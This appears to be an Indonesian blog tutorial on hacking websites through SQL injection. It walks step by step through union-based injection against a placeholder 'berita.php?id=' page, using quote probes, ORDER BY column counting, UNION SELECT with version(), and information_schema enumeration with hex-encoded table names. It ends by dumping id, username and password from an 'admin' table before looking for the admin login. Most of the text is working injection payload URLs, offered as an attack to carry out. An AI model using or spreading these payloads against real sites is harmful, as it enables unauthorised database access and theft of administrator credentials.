Cara Hack Website Dengan SQL Injection
By http://cirebon-cyber4rt.blogspot.com/2012/03/cara-hacking-website-dengan-teknik-sql.html
Pengertian SQL
Injection, SQL Injection adalah sebuah
aksi hacking yang dilakukan diaplikasi client dengan cara memodifikasi perintah
SQL yang ada dimemori aplikasi client dan juga merupakan teknik mengeksploitasi
web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu diketahui sebelum melakukan SQL Injection
pada MySQL:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL
versi 4.x
[ Step 1 ]
- Carilah target
Misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter
"-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]
[ Step 2 ]
- Mencari dan menghitung jumlah table yang ada
dalam databasenya...
gunakan perintah: order by
Contoh:
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
Ceklah secara step by step (satupersatu)...
Misal:
[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
Sehingga muncul error atau hilang pesan error...
Misal: [site]/berita.php?id=-100+order+by+9--
Berarti yang kita ambil adalah sampai angka 8
Menjadi [site]/berita.php?id=-100+order+by+8--
[ Step 3 ]
- untuk mengeluarkan angka berapa yang muncul
gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg
diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8--
atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
Lihat versi yang digunakan se'umpama versi 4 tinggalkan saja karena dalam
versi 4 ini kita harus menebak sendiri table dan column yang ada pada web
tersebut karena tidak bisa menggunakan perintah From+Information_schema..
Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column
seperti versi 4 karena di versi 5 ini bisa menggunakan perintah
From+Information_schema..
[ Step 4 ]
- Untuk menampilkan table yang ada pada web
tersebut adalah
perintah table_name >>> dimasukan pada angka yangg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah
angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
Se'umpama table yang muncul adalah "admin"
[ Step 5 ]
- untuk menampilkan semua isi dari table tersebut
adalah
perintah group_concat(table_name) >>> dimasukan pada angka yang
keluar tadi
perintah +from+information_schema.tables+where+table_schema=database()
>>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.
tables+where+table_schema=database()--
[ Step 6 ]
- Perintah group_concat(column_name) >>>
dimasukan pada angka yang keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa--
>>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema
.columns+where+table_name=0xhexa--
Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi
hexadecimal yaitu dengan cara mengkonversinya
Website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm
Contoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema
.columns+where+table_name=0x61646D696E--
[ Step 7 ]
Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>>
dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka
terakhir
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi
column),6,7,8+from+(nama table berasal)--
Contoh kata yang keluar adalah id,username,password
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
[ Step 8 ]
- Tahap terakhir mencari halaman admin atau login.